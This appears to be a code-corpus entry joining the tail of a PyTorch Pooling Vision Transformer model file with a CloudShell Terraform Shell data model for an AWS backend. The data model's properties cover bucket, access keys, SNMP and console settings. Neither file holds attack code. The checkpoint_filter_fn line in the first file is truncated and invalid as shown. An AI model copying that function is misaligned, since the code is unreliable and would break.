url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_b_820.pth'), 'pit_ti_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_ti_distill_746.pth', classifier=('head', 'head_dist')), 'pit_xs_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_xs_distill_791.pth', classifier=('head', 'head_dist')), 'pit_s_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_s_distill_819.pth', classifier=('head', 'head_dist')), 'pit_b_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_b_distill_840.pth', classifier=('head', 'head_dist')), } class SequentialTuple(nn.Sequential): def __init__(self, *args): super(SequentialTuple, self).__init__(*args) def forward(self, x: Tuple[torch.Tensor, torch.Tensor]) -> Tuple[torch.Tensor, torch.Tensor]: for module in self: x = module(x) return x class Transformer(nn.Module): def __init__( self, base_dim, depth, heads, mlp_ratio, pool=None, drop_rate=.0, attn_drop_rate=.0, drop_path_prob=None): super(Transformer, self).__init__() self.layers = nn.ModuleList([]) embed_dim = base_dim * heads self.blocks = nn.Sequential(*[ Block( dim=embed_dim, num_heads=heads, mlp_ratio=mlp_ratio, qkv_bias=True, drop=drop_rate, attn_drop=attn_drop_rate, drop_path=drop_path_prob[i], norm_layer=partial(nn.LayerNorm, eps=1e-6) ) for i in range(depth)]) self.pool = pool def forward(self, x: Tuple[torch.Tensor, torch.Tensor]) -> Tuple[torch.Tensor, torch.Tensor]: x, cls_tokens = x B, C, H, W = x.shape token_length = cls_tokens.shape[1] x = x.flatten(2).transpose(1, 2) x = torch.cat((cls_tokens, x), dim=1) x = self.blocks(x) cls_tokens = x[:, :token_length] x = x[:, token_length:] x = x.transpose(1, 2).reshape(B, C, H, W) if self.pool is not None: x, cls_tokens = self.pool(x, cls_tokens) return x, cls_tokens class ConvHeadPooling(nn.Module): def __init__(self, in_feature, out_feature, stride, padding_mode='zeros'): super(ConvHeadPooling, self).__init__() self.conv = nn.Conv2d( in_feature, out_feature, kernel_size=stride + 1, padding=stride // 2, stride=stride, padding_mode=padding_mode, groups=in_feature) self.fc = nn.Linear(in_feature, out_feature) def forward(self, x, cls_token) -> Tuple[torch.Tensor, torch.Tensor]: x = self.conv(x) cls_token = self.fc(cls_token) return x, cls_token class ConvEmbedding(nn.Module): def __init__(self, in_channels, out_channels, patch_size, stride, padding): super(ConvEmbedding, self).__init__() self.conv = nn.Conv2d( in_channels, out_channels, kernel_size=patch_size, stride=stride, padding=padding, bias=True) def forward(self, x): x = self.conv(x) return x class PoolingVisionTransformer(nn.Module): def __init__(self, img_size, patch_size, stride, base_dims, depth, heads, mlp_ratio, num_classes=1000, in_chans=3, distilled=False, attn_drop_rate=.0, drop_rate=.0, drop_path_rate=.0): super(PoolingVisionTransformer, self).__init__() padding = 0 img_size = to_2tuple(img_size) patch_size = to_2tuple(patch_size) height = math.floor((img_size[0] + 2 * padding - patch_size[0]) / stride + 1) width = math.floor((img_size[1] + 2 * padding - patch_size[1]) / stride + 1) self.base_dims = base_dims self.heads = heads self.num_classes = num_classes self.num_tokens = 2 if distilled else 1 self.patch_size = patch_size self.pos_embed = nn.Parameter(torch.randn(1, base_dims[0] * heads[0], height, width)) self.patch_embed = ConvEmbedding(in_chans, base_dims[0] * heads[0], patch_size, stride, padding) self.cls_token = nn.Parameter(torch.randn(1, self.num_tokens, base_dims[0] * heads[0])) self.pos_drop = nn.Dropout(p=drop_rate) transformers = [] dpr = [x.tolist() for x in torch.linspace(0, drop_path_rate, sum(depth)).split(depth)] for stage in range(len(depth)): pool = None if stage < len(heads) - 1: pool = ConvHeadPooling( base_dims[stage] * heads[stage], base_dims[stage + 1] * heads[stage + 1], stride=2) transformers += [Transformer( base_dims[stage], depth[stage], heads[stage], mlp_ratio, pool=pool, drop_rate=drop_rate, attn_drop_rate=attn_drop_rate, drop_path_prob=dpr[stage]) ] self.transformers = SequentialTuple(*transformers) self.norm = nn.LayerNorm(base_dims[-1] * heads[-1], eps=1e-6) self.num_features = self.embed_dim = base_dims[-1] * heads[-1] self.head = nn.Linear(self.embed_dim, num_classes) if num_classes > 0 else nn.Identity() self.head_dist = None if distilled: self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity() trunc_normal_(self.pos_embed, std=.02) trunc_normal_(self.cls_token, std=.02) self.apply(self._init_weights) def _init_weights(self, m): if isinstance(m, nn.LayerNorm): nn.init.constant_(m.bias, 0) nn.init.constant_(m.weight, 1.0) @torch.jit.ignore def no_weight_decay(self): return {'pos_embed', 'cls_token'} def get_classifier(self): if self.head_dist is not None: return self.head, self.head_dist else: return self.head def reset_classifier(self, num_classes, global_pool=''): self.num_classes = num_classes self.head = nn.Linear(self.embed_dim, num_classes) if num_classes > 0 else nn.Identity() if self.head_dist is not None: self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity() def forward_features(self, x): x = self.patch_embed(x) x = self.pos_drop(x + self.pos_embed) cls_tokens = self.cls_token.expand(x.shape[0], -1, -1) x, cls_tokens = self.transformers((x, cls_tokens)) cls_tokens = self.norm(cls_tokens) if self.head_dist is not None: return cls_tokens[:, 0], cls_tokens[:, 1] else: return cls_tokens[:, 0] def forward(self, x): x = self.forward_features(x) if self.head_dist is not None: x, x_dist = self.head(x[0]), self.head_dist(x[1]) if self.training and not torch.jit.is_scripting(): return x, x_dist else: return (x + x_dist) / 2 else: return self.head(x) def checkpoint_filter_fn(state_dict, model): out_dict = {} p_blocks = re.compile(r'pools\.(\d)\.') for k, v in state_dict.items(): ol.', k) out_dict[k] = v return out_dict def _create_pit(variant, pretrained=False, **kwargs): if kwargs.get('features_only', None): raise RuntimeError('features_only not implemented for Vision Transformer models.') model = build_model_with_cfg( PoolingVisionTransformer, variant, pretrained, default_cfg=default_cfgs[variant], pretrained_filter_fn=checkpoint_filter_fn, **kwargs) return model @register_model def pit_b_224(pretrained, **kwargs): model_kwargs = dict( patch_size=14, stride=7, base_dims=[64, 64, 64], depth=[3, 6, 4], heads=[4, 8, 16], mlp_ratio=4, **kwargs ) return _create_pit('pit_b_224', pretrained, **model_kwargs) @register_model def pit_s_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[3, 6, 12], mlp_ratio=4, **kwargs ) return _create_pit('pit_s_224', pretrained, **model_kwargs) @register_model def pit_xs_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, **kwargs ) return _create_pit('pit_xs_224', pretrained, **model_kwargs) @register_model def pit_ti_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[32, 32, 32], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, **kwargs ) return _create_pit('pit_ti_224', pretrained, **model_kwargs) @register_model def pit_b_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=14, stride=7, base_dims=[64, 64, 64], depth=[3, 6, 4], heads=[4, 8, 16], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_b_distilled_224', pretrained, **model_kwargs) @register_model def pit_s_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[3, 6, 12], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_s_distilled_224', pretrained, **model_kwargs) @register_model def pit_xs_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_xs_distilled_224', pretrained, **model_kwargs) @register_model def pit_ti_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[32, 32, 32], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_ti_distilled_224', pretrained, **model_kwargs)

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shells/backends/aws_tf_backend/src/data_model.py

oleksandr-r-q/CloudShell-Terraform-Shell

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2021-11-26T05:41:05.000Z

2022-03-11T20:01:40.000Z

shells/backends/aws_tf_backend/src/data_model.py

oleksandr-r-q/CloudShell-Terraform-Shell

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2021-11-02T05:37:48.000Z

shells/backends/aws_tf_backend/src/data_model.py

oleksandr-r-q/CloudShell-Terraform-Shell

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1

2021-11-01T07:46:59.000Z

from cloudshell.shell.core.driver_context import ResourceCommandContext, AutoLoadDetails, AutoLoadAttribute, \ AutoLoadResource from collections import defaultdict class LegacyUtils(object): def __init__(self): self._datamodel_clss_dict = self.__generate_datamodel_classes_dict() def migrate_autoload_details(self, autoload_details, context): model_name = context.resource.model root_name = context.resource.name root = self.__create_resource_from_datamodel(model_name, root_name) attributes = self.__create_attributes_dict(autoload_details.attributes) self.__attach_attributes_to_resource(attributes, '', root) self.__build_sub_resoruces_hierarchy(root, autoload_details.resources, attributes) return root def __create_resource_from_datamodel(self, model_name, res_name): return self._datamodel_clss_dict[model_name](res_name) def __create_attributes_dict(self, attributes_lst): d = defaultdict(list) for attribute in attributes_lst: d[attribute.relative_address].append(attribute) return d def __build_sub_resoruces_hierarchy(self, root, sub_resources, attributes): d = defaultdict(list) for resource in sub_resources: splitted = resource.relative_address.split('/') parent = '' if len(splitted) == 1 else resource.relative_address.rsplit('/', 1)[0] rank = len(splitted) d[rank].append((parent, resource)) self.__set_models_hierarchy_recursively(d, 1, root, '', attributes) def __set_models_hierarchy_recursively(self, dict, rank, manipulated_resource, resource_relative_addr, attributes): if rank not in dict: # validate if key exists pass for (parent, resource) in dict[rank]: if parent == resource_relative_addr: sub_resource = self.__create_resource_from_datamodel( resource.model.replace(' ', ''), resource.name) self.__attach_attributes_to_resource(attributes, resource.relative_address, sub_resource) manipulated_resource.add_sub_resource( self.__slice_parent_from_relative_path(parent, resource.relative_address), sub_resource) self.__set_models_hierarchy_recursively( dict, rank + 1, sub_resource, resource.relative_address, attributes) def __attach_attributes_to_resource(self, attributes, curr_relative_addr, resource): for attribute in attributes[curr_relative_addr]: setattr(resource, attribute.attribute_name.lower().replace(' ', '_'), attribute.attribute_value) del attributes[curr_relative_addr] def __slice_parent_from_relative_path(self, parent, relative_addr): if parent is '': return relative_addr return relative_addr[len(parent) + 1:] # + 1 because we want to remove the seperator also def __generate_datamodel_classes_dict(self): return dict(self.__collect_generated_classes()) def __collect_generated_classes(self): import sys, inspect return inspect.getmembers(sys.modules[__name__], inspect.isclass) class AwsTfBackend(object): def __init__(self, name): """ """ self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): """ Creates an instance of NXOS by given context :param context: cloudshell.shell.core.driver_context.ResourceCommandContext :type context: cloudshell.shell.core.driver_context.ResourceCommandContext :return: :rtype AwsTfBackend """ result = AwsTfBackend(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): """ :param relative_path: :type relative_path: str :return """ resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): """ Combines relative path :param child_path: Path of a model within it parent model, i.e 1 :type child_path: str :param parent_path: Full path of parent model, i.e 1/1. Might be empty for root model :type parent_path: str :return: Combined path :rtype str """ return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): """ Merges two instances of AutoLoadDetails into the first one :param autoload_details1: :type autoload_details1: AutoLoadDetails :param autoload_details2: :type autoload_details2: AutoLoadDetails :return: :rtype AutoLoadDetails """ for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): """ Returns the name of the Cloudshell model :return: """ return 'AwsTfBackend' @property def bucket_name(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Bucket Name'] if 'Aws Tf Backend.Bucket Name' in self.attributes else None @bucket_name.setter def bucket_name(self, value): """ The name of the bucket to be used in order to save the state file :type value: str """ self.attributes['Aws Tf Backend.Bucket Name'] = value @property def region_name(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Region Name'] if 'Aws Tf Backend.Region Name' in self.attributes else None @region_name.setter def region_name(self, value): """ The region in which the bucket resides :type value: str """ self.attributes['Aws Tf Backend.Region Name'] = value @property def access_key(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Access Key'] if 'Aws Tf Backend.Access Key' in self.attributes else None @access_key.setter def access_key(self, value): """ AWS access key :type value: string """ self.attributes['Aws Tf Backend.Access Key'] = value @property def secret_key(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Secret Key'] if 'Aws Tf Backend.Secret Key' in self.attributes else None @secret_key.setter def secret_key(self, value): """ AWS secret key :type value: string """ self.attributes['Aws Tf Backend.Secret Key'] = value @property def cloud_provider(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Cloud Provider'] if 'Aws Tf Backend.Cloud Provider' in self.attributes else None @cloud_provider.setter def cloud_provider(self, value): """ In case Access Key and Secret Key were not filled - the keys from the cloud provider will be used. :type value: str """ self.attributes['Aws Tf Backend.Cloud Provider'] = value @property def hide_address(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.hide_address'] if 'Aws Tf Backend.hide_address' in self.attributes else None @hide_address.setter def hide_address(self, value='true'): """ :type value: str """ self.attributes['Aws Tf Backend.hide_address'] = value @property def user(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.User'] if 'Aws Tf Backend.User' in self.attributes else None @user.setter def user(self, value): """ User with administrative privileges :type value: str """ self.attributes['Aws Tf Backend.User'] = value @property def password(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Password'] if 'Aws Tf Backend.Password' in self.attributes else None @password.setter def password(self, value): """ :type value: string """ self.attributes['Aws Tf Backend.Password'] = value @property def enable_password(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Enable Password'] if 'Aws Tf Backend.Enable Password' in self.attributes else None @enable_password.setter def enable_password(self, value): """ The enable password is required by some CLI protocols such as Telnet and is required according to the device configuration. :type value: string """ self.attributes['Aws Tf Backend.Enable Password'] = value @property def power_management(self): """ :rtype: bool """ return self.attributes['Aws Tf Backend.Power Management'] if 'Aws Tf Backend.Power Management' in self.attributes else None @power_management.setter def power_management(self, value=True): """ Used by the power management orchestration, if enabled, to determine whether to automatically manage the device power status. Enabled by default. :type value: bool """ self.attributes['Aws Tf Backend.Power Management'] = value @property def sessions_concurrency_limit(self): """ :rtype: float """ return self.attributes['Aws Tf Backend.Sessions Concurrency Limit'] if 'Aws Tf Backend.Sessions Concurrency Limit' in self.attributes else None @sessions_concurrency_limit.setter def sessions_concurrency_limit(self, value='1'): """ The maximum number of concurrent sessions that the driver will open to the device. Default is 1 (no concurrency). :type value: float """ self.attributes['Aws Tf Backend.Sessions Concurrency Limit'] = value @property def snmp_read_community(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.SNMP Read Community'] if 'Aws Tf Backend.SNMP Read Community' in self.attributes else None @snmp_read_community.setter def snmp_read_community(self, value): """ The SNMP Read-Only Community String is like a password. It is sent along with each SNMP Get-Request and allows (or denies) access to device. :type value: string """ self.attributes['Aws Tf Backend.SNMP Read Community'] = value @property def snmp_write_community(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.SNMP Write Community'] if 'Aws Tf Backend.SNMP Write Community' in self.attributes else None @snmp_write_community.setter def snmp_write_community(self, value): """ The SNMP Write Community String is like a password. It is sent along with each SNMP Set-Request and allows (or denies) chaning MIBs values. :type value: string """ self.attributes['Aws Tf Backend.SNMP Write Community'] = value @property def snmp_v3_user(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.SNMP V3 User'] if 'Aws Tf Backend.SNMP V3 User' in self.attributes else None @snmp_v3_user.setter def snmp_v3_user(self, value): """ Relevant only in case SNMP V3 is in use. :type value: str """ self.attributes['Aws Tf Backend.SNMP V3 User'] = value @property def snmp_v3_password(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.SNMP V3 Password'] if 'Aws Tf Backend.SNMP V3 Password' in self.attributes else None @snmp_v3_password.setter def snmp_v3_password(self, value): """ Relevant only in case SNMP V3 is in use. :type value: string """ self.attributes['Aws Tf Backend.SNMP V3 Password'] = value @property def snmp_v3_private_key(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.SNMP V3 Private Key'] if 'Aws Tf Backend.SNMP V3 Private Key' in self.attributes else None @snmp_v3_private_key.setter def snmp_v3_private_key(self, value): """ Relevant only in case SNMP V3 is in use. :type value: str """ self.attributes['Aws Tf Backend.SNMP V3 Private Key'] = value @property def snmp_v3_authentication_protocol(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.SNMP V3 Authentication Protocol'] if 'Aws Tf Backend.SNMP V3 Authentication Protocol' in self.attributes else None @snmp_v3_authentication_protocol.setter def snmp_v3_authentication_protocol(self, value='No Authentication Protocol'): """ Relevant only in case SNMP V3 is in use. :type value: str """ self.attributes['Aws Tf Backend.SNMP V3 Authentication Protocol'] = value @property def snmp_v3_privacy_protocol(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.SNMP V3 Privacy Protocol'] if 'Aws Tf Backend.SNMP V3 Privacy Protocol' in self.attributes else None @snmp_v3_privacy_protocol.setter def snmp_v3_privacy_protocol(self, value='No Privacy Protocol'): """ Relevant only in case SNMP V3 is in use. :type value: str """ self.attributes['Aws Tf Backend.SNMP V3 Privacy Protocol'] = value @property def snmp_version(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.SNMP Version'] if 'Aws Tf Backend.SNMP Version' in self.attributes else None @snmp_version.setter def snmp_version(self, value=''): """ The version of SNMP to use. Possible values are v1, v2c and v3. :type value: str """ self.attributes['Aws Tf Backend.SNMP Version'] = value @property def enable_snmp(self): """ :rtype: bool """ return self.attributes['Aws Tf Backend.Enable SNMP'] if 'Aws Tf Backend.Enable SNMP' in self.attributes else None @enable_snmp.setter def enable_snmp(self, value=True): """ If set to True and SNMP isn???t enabled yet in the device the Shell will automatically enable SNMP in the device when Autoload command is called. SNMP must be enabled on the device for the Autoload command to run successfully. True by default. :type value: bool """ self.attributes['Aws Tf Backend.Enable SNMP'] = value @property def disable_snmp(self): """ :rtype: bool """ return self.attributes['Aws Tf Backend.Disable SNMP'] if 'Aws Tf Backend.Disable SNMP' in self.attributes else None @disable_snmp.setter def disable_snmp(self, value=False): """ If set to True SNMP will be disabled automatically by the Shell after the Autoload command execution is completed. False by default. :type value: bool """ self.attributes['Aws Tf Backend.Disable SNMP'] = value @property def console_server_ip_address(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Console Server IP Address'] if 'Aws Tf Backend.Console Server IP Address' in self.attributes else None @console_server_ip_address.setter def console_server_ip_address(self, value): """ The IP address of the console server, in IPv4 format. :type value: str """ self.attributes['Aws Tf Backend.Console Server IP Address'] = value @property def console_user(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Console User'] if 'Aws Tf Backend.Console User' in self.attributes else None @console_user.setter def console_user(self, value): """ :type value: str """ self.attributes['Aws Tf Backend.Console User'] = value @property def console_port(self): """ :rtype: float """ return self.attributes['Aws Tf Backend.Console Port'] if 'Aws Tf Backend.Console Port' in self.attributes else None @console_port.setter def console_port(self, value): """ The port on the console server, usually TCP port, which the device is associated with. :type value: float """ self.attributes['Aws Tf Backend.Console Port'] = value @property def console_password(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Console Password'] if 'Aws Tf Backend.Console Password' in self.attributes else None @console_password.setter def console_password(self, value): """ :type value: string """ self.attributes['Aws Tf Backend.Console Password'] = value @property def cli_connection_type(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.CLI Connection Type'] if 'Aws Tf Backend.CLI Connection Type' in self.attributes else None @cli_connection_type.setter def cli_connection_type(self, value='Auto'): """ The CLI connection type that will be used by the driver. Possible values are Auto, Console, SSH, Telnet and TCP. If Auto is selected the driver will choose the available connection type automatically. Default value is Auto. :type value: str """ self.attributes['Aws Tf Backend.CLI Connection Type'] = value @property def cli_tcp_port(self): """ :rtype: float """ return self.attributes['Aws Tf Backend.CLI TCP Port'] if 'Aws Tf Backend.CLI TCP Port' in self.attributes else None @cli_tcp_port.setter def cli_tcp_port(self, value): """ TCP Port to user for CLI connection. If kept empty a default CLI port will be used based on the chosen protocol, for example Telnet will use port 23. :type value: float """ self.attributes['Aws Tf Backend.CLI TCP Port'] = value @property def backup_location(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Backup Location'] if 'Aws Tf Backend.Backup Location' in self.attributes else None @backup_location.setter def backup_location(self, value): """ Used by the save/restore orchestration to determine where backups should be saved. :type value: str """ self.attributes['Aws Tf Backend.Backup Location'] = value @property def backup_type(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Backup Type'] if 'Aws Tf Backend.Backup Type' in self.attributes else None @backup_type.setter def backup_type(self, value='File System'): """ Supported protocols for saving and restoring of configuration and firmware files. Possible values are 'File System' 'FTP' and 'TFTP'. Default value is 'File System'. :type value: str """ self.attributes['Aws Tf Backend.Backup Type'] = value @property def backup_user(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.Backup User'] if 'Aws Tf Backend.Backup User' in self.attributes else None @backup_user.setter def backup_user(self, value): """ Username for the storage server used for saving and restoring of configuration and firmware files. :type value: str """ self.attributes['Aws Tf Backend.Backup User'] = value @property def backup_password(self): """ :rtype: string """ return self.attributes['Aws Tf Backend.Backup Password'] if 'Aws Tf Backend.Backup Password' in self.attributes else None @backup_password.setter def backup_password(self, value): """ Password for the storage server used for saving and restoring of configuration and firmware files. :type value: string """ self.attributes['Aws Tf Backend.Backup Password'] = value @property def name(self): """ :rtype: str """ return self._name @name.setter def name(self, value): """ :type value: str """ self._name = value @property def cloudshell_model_name(self): """ :rtype: str """ return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): """ :type value: str """ self._cloudshell_model_name = value @property def system_name(self): """ :rtype: str """ return self.attributes['CS_GenericResource.System Name'] if 'CS_GenericResource.System Name' in self.attributes else None @system_name.setter def system_name(self, value): """ A unique identifier for the device, if exists in the device terminal/os. :type value: str """ self.attributes['CS_GenericResource.System Name'] = value @property def vendor(self): """ :rtype: str """ return self.attributes['CS_GenericResource.Vendor'] if 'CS_GenericResource.Vendor' in self.attributes else None @vendor.setter def vendor(self, value=''): """ The name of the device manufacture. :type value: str """ self.attributes['CS_GenericResource.Vendor'] = value @property def contact_name(self): """ :rtype: str """ return self.attributes['CS_GenericResource.Contact Name'] if 'CS_GenericResource.Contact Name' in self.attributes else None @contact_name.setter def contact_name(self, value): """ The name of a contact registered in the device. :type value: str """ self.attributes['CS_GenericResource.Contact Name'] = value @property def location(self): """ :rtype: str """ return self.attributes['CS_GenericResource.Location'] if 'CS_GenericResource.Location' in self.attributes else None @location.setter def location(self, value=''): """ The device physical location identifier. For example Lab1/Floor2/Row5/Slot4. :type value: str """ self.attributes['CS_GenericResource.Location'] = value @property def model(self): """ :rtype: str """ return self.attributes['CS_GenericResource.Model'] if 'CS_GenericResource.Model' in self.attributes else None @model.setter def model(self, value=''): """ The device model. This information is typically used for abstract resource filtering. :type value: str """ self.attributes['CS_GenericResource.Model'] = value @property def model_name(self): """ :rtype: str """ return self.attributes['CS_GenericResource.Model Name'] if 'CS_GenericResource.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): """ The catalog name of the device model. This attribute will be displayed in CloudShell instead of the CloudShell model. :type value: str """ self.attributes['CS_GenericResource.Model Name'] = value class ResourcePort(object): def __init__(self, name): """ """ self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend.ResourcePort' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): """ Creates an instance of NXOS by given context :param context: cloudshell.shell.core.driver_context.ResourceCommandContext :type context: cloudshell.shell.core.driver_context.ResourceCommandContext :return: :rtype ResourcePort """ result = ResourcePort(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): """ :param relative_path: :type relative_path: str :return """ resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): """ Combines relative path :param child_path: Path of a model within it parent model, i.e 1 :type child_path: str :param parent_path: Full path of parent model, i.e 1/1. Might be empty for root model :type parent_path: str :return: Combined path :rtype str """ return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): """ Merges two instances of AutoLoadDetails into the first one :param autoload_details1: :type autoload_details1: AutoLoadDetails :param autoload_details2: :type autoload_details2: AutoLoadDetails :return: :rtype AutoLoadDetails """ for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): """ Returns the name of the Cloudshell model :return: """ return 'ResourcePort' @property def mac_address(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.ResourcePort.MAC Address'] if 'Aws Tf Backend.ResourcePort.MAC Address' in self.attributes else None @mac_address.setter def mac_address(self, value=''): """ :type value: str """ self.attributes['Aws Tf Backend.ResourcePort.MAC Address'] = value @property def ipv4_address(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.ResourcePort.IPv4 Address'] if 'Aws Tf Backend.ResourcePort.IPv4 Address' in self.attributes else None @ipv4_address.setter def ipv4_address(self, value): """ :type value: str """ self.attributes['Aws Tf Backend.ResourcePort.IPv4 Address'] = value @property def ipv6_address(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.ResourcePort.IPv6 Address'] if 'Aws Tf Backend.ResourcePort.IPv6 Address' in self.attributes else None @ipv6_address.setter def ipv6_address(self, value): """ :type value: str """ self.attributes['Aws Tf Backend.ResourcePort.IPv6 Address'] = value @property def port_speed(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.ResourcePort.Port Speed'] if 'Aws Tf Backend.ResourcePort.Port Speed' in self.attributes else None @port_speed.setter def port_speed(self, value): """ The port speed (e.g 10Gb/s, 40Gb/s, 100Mb/s) :type value: str """ self.attributes['Aws Tf Backend.ResourcePort.Port Speed'] = value @property def name(self): """ :rtype: str """ return self._name @name.setter def name(self, value): """ :type value: str """ self._name = value @property def cloudshell_model_name(self): """ :rtype: str """ return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): """ :type value: str """ self._cloudshell_model_name = value @property def model_name(self): """ :rtype: str """ return self.attributes['CS_Port.Model Name'] if 'CS_Port.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): """ The catalog name of the device model. This attribute will be displayed in CloudShell instead of the CloudShell model. :type value: str """ self.attributes['CS_Port.Model Name'] = value class GenericPowerPort(object): def __init__(self, name): """ """ self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend.GenericPowerPort' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): """ Creates an instance of NXOS by given context :param context: cloudshell.shell.core.driver_context.ResourceCommandContext :type context: cloudshell.shell.core.driver_context.ResourceCommandContext :return: :rtype GenericPowerPort """ result = GenericPowerPort(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): """ :param relative_path: :type relative_path: str :return """ resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): """ Combines relative path :param child_path: Path of a model within it parent model, i.e 1 :type child_path: str :param parent_path: Full path of parent model, i.e 1/1. Might be empty for root model :type parent_path: str :return: Combined path :rtype str """ return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): """ Merges two instances of AutoLoadDetails into the first one :param autoload_details1: :type autoload_details1: AutoLoadDetails :param autoload_details2: :type autoload_details2: AutoLoadDetails :return: :rtype AutoLoadDetails """ for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): """ Returns the name of the Cloudshell model :return: """ return 'GenericPowerPort' @property def model(self): """ 